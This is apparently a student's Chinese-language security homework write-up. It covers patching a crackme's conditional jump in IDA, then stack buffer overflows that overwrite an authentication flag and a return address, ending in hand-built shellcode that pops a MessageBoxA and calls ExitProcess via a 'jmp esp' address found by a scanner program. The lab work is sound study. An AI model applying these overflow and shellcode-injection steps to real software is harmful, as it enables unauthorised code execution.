网安作业3.
crackme:
打开IDA找到判断跳转语句位置
修改跳转指令
应用到程序
运行结果:
正确密码显示错误,错误密码显示正确。
overflow(1):
首先输入7个q看一下栈情况
authenticated的值是1
输入8个q
没有执行前,authenticated的值还是1
执行以后,值被覆盖为0
overflow(2):
将跳转地址覆盖为验证通过的地址
用ultraedit编辑password文件,任意填充8字符覆盖password,4字符覆盖authenticated,4字符覆盖上一栈帧的ebp,填入4个字符返回地址。
再运行程序
overflow(3):
程序与2的区别是增加了头文件windows.h,buff由8字节变成44字节,有足够空间填入代码。
找到buff地址和返回地址
找到messageboxA入口地址
#include <stdio.h>
#include <windows.h>
typedef void (*FuncPointer)(LPTSTR); // 函数指针
int main()
{
HINSTANCE LibHandle;
FuncPointer GetAddr;
// 加载成功后返回库模块的句柄
LibHandle = LoadLibrary("user32");
printf("user32 LibHandle = 0x%X\n", LibHandle);
// 返回动态链接库(DLL)中的输出库函数地址
GetAddr=(FuncPointer)GetProcAddress(LibHandle,"MessageBoxA");
printf("MessageBoxA = 0x%X\n", GetAddr);
return 0;
}
构造password
机器码 | 汇编指令 | 解释 |
---|---|---|
33DB | XOR EBX,EBX | 将EBX寄存器置为NULL |
53 | PUSH EBX | |
686A6F6B65 | PUSH 656b6f6a | Thisjoke |
6854686973 | PUSH 73696854 | |
8BC4 | MOV EAX,ESP | EAX里存入字符串指针 |
53 | PUSH EBX | |
50 | PUSH EAX | |
50 | PUSH EAX | |
53 | PUSH EBX | |
B8301D3148 | MOV EAX,0x48311D30 | 调用MessageBoxA |
FFD0 | CALL EAX |
由于win10保护机制太强,没有办法显示messagebox
换到xp系统上实现
先找到messageboxA的入口地址
再找到buff起始地址
定位shellcode,找jmp esp指令
#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
main()
{
BYTE* ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle=LoadLibrary(DLL_NAME);
if(!handle)
{
printf(" load dll erro !");
exit(0);
}
ptr = (BYTE*)handle;
for(position = 0; !done_flag; position++)
{
try
{
if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
{
//0xFFE4 is the opcode of jmp esp
int address = (int)ptr + position;
printf("OPCODE found at 0x%x\n",address);
}
}
catch(...)
{
int address = (int)ptr + position;
printf("END OF 0x%x\n", address);
done_flag = true;
}
}
}
定位exitprocess入口地址
#include <stdio.h>
#include <windows.h>
typedef void (*FuncPointer)(LPTSTR); // 函数指针
int main()
{
HINSTANCE LibHandle;
FuncPointer GetAddr;
// 加载成功后返回库模块的句柄
LibHandle = LoadLibrary("kernel32");
printf("kernel32 LibHandle = 0x%X\n", LibHandle);
// 返回动态链接库(DLL)中的输出库函数地址
GetAddr=(FuncPointer)GetProcAddress(LibHandle,"ExitProcess");
printf("ExitProcess = 0x%X\n", GetAddr);
return 0;
}
修改password文件
机器码 | 汇编指令 | 解释 |
---|---|---|
33DB | XOR EBX,EBX | 将EBX寄存器置为NULL |
53 | PUSH EBX | |
686A6F6B65 | PUSH 656b6f6a | Thisjoke |
6854686973 | PUSH 73696854 | |
8BC4 | MOV EAX,ESP | EAX里存入字符串指针 |
53 | PUSH EBX | |
50 | PUSH EAX | |
50 | PUSH EAX | |
53 | PUSH EBX | |
B8EA07D577 | MOV EAX,0x77D507EA | 调用MessageBoxA |
FFD0 | CALL EAX | |
53 | PUSH EBX | |
B8A2BF817C | MOV EAX,0x7C81BFA2 | 调用exit(0) |
FFD0 | CALL EAX |
现在程序就可以正常退出